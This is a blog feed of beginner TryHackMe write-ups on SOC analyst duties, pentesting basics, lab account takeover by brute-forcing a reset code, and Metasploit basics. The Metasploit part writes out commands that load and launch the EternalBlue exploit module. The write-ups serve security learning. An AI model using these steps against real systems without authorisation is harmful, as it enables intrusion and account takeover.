&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.u68F4yye.png"/><enclosure url="/_astro/image.u68F4yye.png"/></item><item><title>Jr Security Analyst Intro | TryHackMe Write-Up</title><link>https://farros.co/blog/jr-security-analyst-intro-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/jr-security-analyst-intro-tryhackme-write-up/</guid><description>Jr Security Analyst Intro | TryHackMe | Write-Up by Farros.</description><pubDate>Fri, 16 May 2025 19:47:49 GMT</pubDate><content:encoded>&lt;p&gt;Here is my article on the walkthrough of a free room: &lt;a href=&quot;https://tryhackme.com/room/jrsecanalystintrouxo&quot;&gt;Junior Security Analyst Intro&lt;/a&gt;. Play through a day in the life of a Junior Security Analyst, their responsibilities and qualifications needed to land a role as an analyst. I wrote this in 2025 and hope it is useful for learning about security analyst.&lt;/p&gt;
&lt;h2&gt;Task 1: A career as a Junior (Associate) Security Analyst&lt;/h2&gt;
&lt;p&gt;A Junior Security Analyst, often referred to as a Tier 1 SOC Analyst or &lt;strong&gt;Triage Specialist&lt;/strong&gt;, is a starting position in the field of cybersecurity.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Key Responsibilities:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Monitor and investigate alerts in a 24/7 SOC environment.&lt;/li&gt;
&lt;li&gt;Configure and manage security tools.&lt;/li&gt;
&lt;li&gt;Develop and implement basic Intrusion Detection System (IDS) signatures.&lt;/li&gt;
&lt;li&gt;Participate in SOC working groups and meetings.&lt;/li&gt;
&lt;li&gt;Create tickets and escalate security incidents to Tier 2 analysts or team leads when necessary.(&lt;a href=&quot;https://www.linkedin.com/pulse/junior-security-analyst-tier-1-soc-shahzad-ms-nwric&quot;&gt;LinkedIn&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Required Qualifications:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;0–2 years of experience in security operations.&lt;/li&gt;
&lt;li&gt;Basic understanding of networking (OSI or TCP/IP models), operating systems (Windows, Linux), and web applications.&lt;/li&gt;
&lt;li&gt;Scripting/programming skills are a plus.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Desired Certification:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CompTIA Security+&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The next level for a Junior Security Analyst is to become an Incident Responder (Tier 2) and then a Threat Hunter (Tier 3) as they gain experience and expertise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What will be your role as a Junior Security Analyst?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Triage Specialist&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Security Operations Center (SOC)&lt;/h2&gt;
&lt;p&gt;A Security Operations Center (SOC) has to monitor, detect, investigate, and respond to cybersecurity threats 24/7.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Duties:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Monitor and investigate alerts in a 24/7 SOC environment.&lt;/li&gt;
&lt;li&gt;Set up and manage security tools.&lt;/li&gt;
&lt;li&gt;Create and implement basic Intrusion Detection System (IDS) signatures.&lt;/li&gt;
&lt;li&gt;Attend SOC meetings and participate in working groups.&lt;/li&gt;
&lt;li&gt;When necessary, open tickets and report security incidents to team leads or Tier 2 analysts.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: A day In the life of a Junior (Associate) Security Analyst&lt;/h2&gt;
&lt;p&gt;As a Junior Security Analyst, your role will include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Monitoring Network Traffic&lt;/strong&gt;: Monitor alerts from IPS and IDS, and review suspicious emails to identify potential threats.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extracting Forensic Data&lt;/strong&gt;: Analyze forensic data to detect and investigate possible attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using Open-Source Intelligence&lt;/strong&gt;: By utilizing open-source intelligence, you’ll make informed decisions to address security alerts effectively.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Incident Response&lt;/strong&gt;: You’ll investigate and manage security incidents, working through them which may take anywhere from hours to weeks, depending on the severity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat Remediation&lt;/strong&gt;: After an attack, you’ll help detect, contain, and resolve threats, including addressing concerns like data exfiltration and host pivoting.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This role is challenging but rewarding, providing hands-on experience in network defense and cybersecurity.&lt;/p&gt;
&lt;p&gt;Click on the green View Site button in this task to open the Static Site Lab and navigate to the security monitoring tool on the right panel to try to identify the suspicious activity.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*1Rd585efrUch1LMRHehbSg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From the information in the alert log, we know that there is an unauthorized connection attempt detected from a specific IP address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What was the malicious IP address in the alerts?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;221.181.185.159&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ToTy15bYDsjXTk-I_sjFWQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can try scanning to check that IP address.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*9ZshfPW__uOjo0vQRv5dRw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are open-source databases, such as AbuseIPDB and Cisco Talos Intelligence, that help security analysts check the reputation and location of IP addresses.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ig0bckcHza2NCEeYLZvxgw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, we need to figure out who will escalate this event.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: To whom did you escalate the event associated with the malicious IP address?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Will Griffin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*uhmR5l7dDVHAHCAPqWVR_g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that, we can add the malicious IP address to the block list and capture the flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: After blocking the malicious IP address on the firewall, what message did the malicious actor leave for you?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{*******************}&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BoPANbGJ.png"/><enclosure url="/_astro/image.BoPANbGJ.png"/></item><item><title>Pentesting Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/pentesting-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/pentesting-fundamentals-tryhackme-write-up/</guid><description>Pentesting Fundamentals | TryHackMe | Write-Up by Farros.</description><pubDate>Thu, 08 May 2025 09:11:56 GMT</pubDate><content:encoded>&lt;p&gt;Here is my article on the walkthrough of a free room: &lt;a href=&quot;https://tryhackme.com/room/pentestingfundamentals&quot;&gt;Pentesting Fundamentals&lt;/a&gt;. Learn the important ethics and methodologies behind every pentest. I wrote this in 2025 and hope it is useful for learning about pentesting.&lt;/p&gt;
&lt;h2&gt;Task 1: What is Penetration Testing?&lt;/h2&gt;
&lt;p&gt;Understanding the role of a penetration tester and the processes involved is essential before delving into the technical aspects of ethical hacking. Cybersecurity’s significance continues to grow, impacting various facets of life.&lt;/p&gt;
&lt;p&gt;Penetration testing, or pentesting, involves ethically simulating cyberattacks to identify vulnerabilities in systems and applications. This proactive approach helps organizations strengthen their defenses against potential threats.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.microsoft.com/en-cee/2024/11/29/microsoft-digital-defense-report-600-million-cyberattacks-per-day-around-the-globe/&quot;&gt;With the increasing frequency of cyberattacks, estimated at 600 million daily globally, the need for skilled professionals in ethical hacking is more critical than ever.&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Penetration Testing Ethics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Penetration testing&lt;/strong&gt; in cybersecurity raises legal and ethical issues. While penetration tests are legal when authorized by the system owner, they may involve ethically questionable actions. Hackers are classified into:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;White Hat&lt;/strong&gt; (ethical)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grey Hat&lt;/strong&gt; (break laws for good causes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Black Hat&lt;/strong&gt; (criminal)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A penetration test follows the “Rules of Engagement” (ROE), a document outlining permission, test scope, and allowed techniques, ensuring legality and ethical clarity throughout the process.&lt;/p&gt;
&lt;p&gt;Q1: You are given permission to perform a security audit on an organisation; what type of hacker would you be?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;White Hat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: You attack an organisation and steal their data, what type of hacker would you be?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Black Hat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: What document defines how a penetration testing engagement should be carried out?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rules of Engagement&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Penetration Testing Methodologies&lt;/h2&gt;
&lt;p&gt;Penetration testing follows a methodology with stages that include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Information Gathering&lt;/strong&gt;: Collect public information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumeration/Scanning&lt;/strong&gt;: Discover system services.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation&lt;/strong&gt;: Leverage vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;: Gain higher access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-exploitation&lt;/strong&gt;: Includes targeting other hosts, gathering data, covering tracks, and reporting.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Common methodologies:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;OSSTMM&lt;/strong&gt;: Detailed, covers systems, software, and communications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OWASP&lt;/strong&gt;: Focuses on web applications, actively maintained.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NIST Cybersecurity Framework&lt;/strong&gt;: Popular for critical infrastructure, lacks cloud computing focus.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NCSC CAF&lt;/strong&gt;: Evaluates risks and defenses for critical sectors, principle-based.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What stage of penetration testing involves using publicly available information?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Information Gathering&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: If you wanted to use a framework for pentesting telecommunications, what framework would you use? Note: We’re looking for the acronym here and not the full name.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OSSTMM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: What framework focuses on the testing of web applications?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OWASP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Black box, White box, Grey box Penetration Testing&lt;/h2&gt;
&lt;p&gt;The three primary scopes in penetration testing are:&lt;/p&gt;
&lt;h3&gt;1. Black-Box Testing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;No knowledge of the application’s inner workings.&lt;/li&gt;
&lt;li&gt;Tester acts as a regular user, testing functionality.&lt;/li&gt;
&lt;li&gt;Time-consuming due to extensive information gathering.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Grey-Box Testing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Combines Black-Box and White-Box testing.&lt;/li&gt;
&lt;li&gt;Tester has limited knowledge of internal components.&lt;/li&gt;
&lt;li&gt;Saves time and is used for well-hardened attack surfaces.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. White-Box Testing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tester has full knowledge of the application and its internal components.&lt;/li&gt;
&lt;li&gt;Involves detailed testing of internal functions.&lt;/li&gt;
&lt;li&gt;Time-consuming but ensures through validation of the attack surface.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: You are asked to test an application but are not given access to its source code — what testing process is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Black Box&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: You are asked to test a website, and you are given access to the source code — what testing process is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;White Box&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Practical: ACME Penetration Test&lt;/h2&gt;
&lt;p&gt;ACME has tasked you with performing a penetration test on their infrastructure. You are required to visit the site and follow the guided instructions to complete the assignment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Rules of Engagement&lt;/strong&gt;: Define objectives like permission, test scope, and rules, outlining what actions the tester can perform, such as access limits to parts of the application.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Information Gathering:&lt;/strong&gt; Collect publicly available information about the target, such as employee profiles or contact details, to aid in targeting and further testing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Enumeration &amp;#x26; Scanning:&lt;/strong&gt; Identify user accounts, machines, and applications within the target network using the gathered information to create a detailed profile of the system.&lt;/p&gt;
&lt;p&gt;Try to scan the IP that has been obtained from stage 2 in order to carry out the enumeration process&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*FpcRUlazNUDAv0UXKdxHtw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Exploitation:&lt;/strong&gt; Use identified vulnerabilities to gain unauthorized access to the system or application, ethically exploiting weaknesses for penetration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Post Exploitation:&lt;/strong&gt; Maintain access and escalate privileges to higher user levels, extracting sensitive data and attempting to access other networked systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Pentest Report &amp;#x26; Clearing-up:&lt;/strong&gt; Create a report detailing security issues and recommendations, and clean up the environment by removing testing artifacts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*VsjNGIKECmtskvUDRL5-Qw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Complete the penetration test engagement against ACME’s infrastructure.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(****************)&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.CKGx_kgP.png"/><enclosure url="/_astro/image.CKGx_kgP.png"/></item><item><title>Learning Cyber Security | TryHackMe Write-Up</title><link>https://farros.co/blog/learning-cyber-security-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/learning-cyber-security-tryhackme-write-up/</guid><description>Learning Cyber Security | TryHackMe Write-Up</description><pubDate>Thu, 01 May 2025 16:38:34 GMT</pubDate><content:encoded>&lt;p&gt;Here’s my walkthrough article of a free room for &lt;a href=&quot;https://tryhackme.com/room/beginnerpathintro&quot;&gt;Learning Cyber Security&lt;/a&gt;. It provides a brief introduction to several key security topics you’ll explore. Written in 2025, I hope it serves as a helpful on your cybersecurity learning journey.&lt;/p&gt;
&lt;h2&gt;Task 1: Web Application Security&lt;/h2&gt;
&lt;p&gt;Understanding how the web works is crucial for attacking web applications. Hacking isn’t magical — it’s about knowing how a website functions and identifying weaknesses to exploit. With a solid grasp of the fundamentals, you’ll learn the techniques and tools used in hacking. Vulnerabilities in applications or systems present opportunities for attacks, as they expose weaknesses that can be taken advantage of.&lt;/p&gt;
&lt;p&gt;Click the green “View Site” button above and learn how to hack BookFace, TryHackMe’s vulnerable social media site.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What is the username of the BookFace account you will be taking over?&lt;/p&gt;
&lt;p&gt;To answer this question, you need to start the site provided on the platform.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Buu_j12m_gv6mbyUsZHVrw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the username that can be used in the next page for reset the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*2mURjdeNZUomYHUpALWGJg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ben.spring&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Q3Pmt1_kYnOq4DFKkyryBQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are 10,000 possible code combinations. Trying each one individually would take very long, so try inputting a random reset code instead.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*UHmZEYHkF7Mln7YG6OhH8A.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the BruteForce tool with a code min (1) and max (10,000) value.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*88l3XwPrt2lmAS0_Xr1AxA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Reset Ben’s password to continue, and then the flag will appear.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*dm2nKuIERVaTV1gbPpiZvw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: Hack the BookFace account to reveal this task’s answer!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(************)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Network Security&lt;/h2&gt;
&lt;p&gt;​Networking is crucial in cybersecurity. Understanding how networks operate helps in scanning, identifying devices, and analyzing logs to monitor user activities.&lt;/p&gt;
&lt;p&gt;Click the green “View Site” button above and see how Target was hacked on the right hand side.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Vys_ZPuuCeo6xkRn26hkhw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: How much did the data breach cost Target?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$300 million&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Learning Roadmap&lt;/h2&gt;
&lt;p&gt;The Pre-Security learning path is designed to provide the foundational technical knowledge necessary to embark on a cybersecurity career. Upon completion, you can choose to specialize in either Offensive Pentesting, focusing on ethical hacking and system exploitation, or Cyber Defense, concentrating on threat analysis and system protection. The skills acquired from these learning paths will prepare you for roles such as ethical hacker, penetration tester, or cybersecurity analyst.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;</content:encoded><h:img src="/_astro/image.D_a91_Cp.png"/><enclosure url="/_astro/image.D_a91_Cp.png"/></item><item><title>Metasploit: Introduction | TryHackMe Write-Up</title><link>https://farros.co/blog/metasploit-introduction-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/metasploit-introduction-tryhackme-write-up/</guid><description>Metasploit: Introduction | TryHackMe | Write-Up by Farros.</description><pubDate>Wed, 30 Apr 2025 15:30:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;Here is my article on the walkthrough of free room for &lt;a href=&quot;https://tryhackme.com/room/metasploitintro&quot;&gt;Metasploit: Introduction&lt;/a&gt; an overview of the main components of the Metasploit Framework. I wrote this in 2025 and hope it is useful for learning about Metasploit.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to Metasploit&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Metasploit&lt;/strong&gt; is a popular exploitation framework used in penetration testing, offering tools for tasks ranging from information gathering to post-exploitation. It has two versions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Metasploit Pro&lt;/strong&gt; (a commercial version with a graphical interface)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Metasploit Framework&lt;/strong&gt; (an open-source, command-line version).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The framework includes components like msfconsole, supporting modules (exploits, scanners, payloads), and standalone tools like msfvenom. This room will help you learn how to use Metasploit to find exploits, set parameters, and exploit vulnerable services.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Main Components of Metasploit&lt;/h2&gt;
&lt;p&gt;Metasploit Framework is primarily interacted with through the &lt;code&gt;msfconsole&lt;/code&gt;, which serves as the main interface to various modules. These modules perform tasks like exploiting vulnerabilities, scanning, and brute-force attacks. Key concepts include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exploit&lt;/strong&gt;: Code that leverages a vulnerability to compromise a system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;: A flaw in a system that can be exploited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload&lt;/strong&gt;: Code that runs on the target system after an exploit is successful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metasploit modules are categorized into:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Auxiliary&lt;/strong&gt;: Tools for scanning, crawling, and fuzzing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encoders&lt;/strong&gt;: Encode exploits and payloads to bypass antivirus software.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evasion&lt;/strong&gt;: Modules designed to avoid detection by security systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploits&lt;/strong&gt;: Modules categorized by the target system, like Windows, Linux, or Android.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NOPs&lt;/strong&gt;: No operation codes used as a buffer in exploits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payloads&lt;/strong&gt;: Codes that execute specific actions like opening a shell on the target system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-exploitation&lt;/strong&gt;: Modules used after gaining access to a system.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These components help security professionals perform penetration tests and assess vulnerabilities. Each module serves a specific purpose, and their organization within the Metasploit framework enables effective exploitation and post-exploitation actions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the name of the code taking advantage of a flaw on the target system?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: What is the name of the code that runs on the target system to achieve the attacker’s goal?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3: What are self-contained payloads called?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;singles&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4: Is “windows/x64/pingbackreversetcp” among singles or staged payload?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;singles&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Msfconsole&lt;/h2&gt;
&lt;p&gt;The Metasploit Framework uses &lt;code&gt;msfconsole&lt;/code&gt; as its main interface, which allows users to interact with its features, such as running exploits, configuring payloads, and executing other commands. It supports many common Linux commands and offers tools for penetration testing. Key features include tab completion, command history, and module context, which require parameters like &lt;code&gt;RHOSTS&lt;/code&gt; and &lt;code&gt;RPORT&lt;/code&gt; for exploits. Commands like &lt;code&gt;show options&lt;/code&gt; and &lt;code&gt;search&lt;/code&gt; help configure and find modules, while the &lt;code&gt;help&lt;/code&gt; command provides details on available options. This console is an essential tool for conducting cybersecurity assessments.&lt;/p&gt;
&lt;p&gt;I try to ran the msfconsole in Kali Linux.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*u9OiS4UQAbYoJcgGKb2SIQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: How would you search for a module related to Apache?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*qVhKZ6n8mL4H05tXJUxz8w.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;search apache&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: Who provided the auxiliary/scanner/ssh/sshlogin module?&lt;/p&gt;
&lt;p&gt;You can run this script to find out who provided the information for auxiliary/scanner/ssh/sshlogin&lt;/p&gt;
&lt;p&gt;&lt;code&gt;info auxiliary/scanner/ssh/ssh_login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*tnd0aCWKQJYg13qO3jpYdw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;todb&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Working with modules&lt;/h2&gt;
&lt;p&gt;This guide explains how to use Metasploit Framework for penetration testing, including launching modules, setting parameters, and managing sessions. It covers the &lt;code&gt;set&lt;/code&gt; command to configure essential parameters like &lt;code&gt;RHOSTS&lt;/code&gt;, &lt;code&gt;RPORT&lt;/code&gt;, &lt;code&gt;LHOST&lt;/code&gt;, and &lt;code&gt;LPORT&lt;/code&gt;, and emphasizes checking configurations with the &lt;code&gt;show options&lt;/code&gt; command. The text also discusses using global parameters with &lt;code&gt;setg&lt;/code&gt;, backgrounding sessions, and interacting with them using the &lt;code&gt;sessions&lt;/code&gt; command. Finally, it highlights various Metasploit prompts, such as the msfconsole, context-specific prompts, and Meterpreter shell.&lt;/p&gt;
&lt;p&gt;You can first run this script to use the module:
&lt;code&gt;use exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*pEMQNeANyQTr2YlEvj0xhg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*2Y7r_58CF2EC5763QUpQRA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: How would you set the LPORT value to 6666?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;set LPORT 6666&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: How would you set the global value for RHOSTS to 10.10.19.23 ?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;setg RHOSTS 10.10.19.23&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: What command would you use to clear a set payload?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;unset PAYLOAD&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4&lt;/strong&gt;: What command do you use to proceed with the exploitation phase?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*WKNmwX1VelSuooArrxgJiQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;exploit&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Summary&lt;/h2&gt;
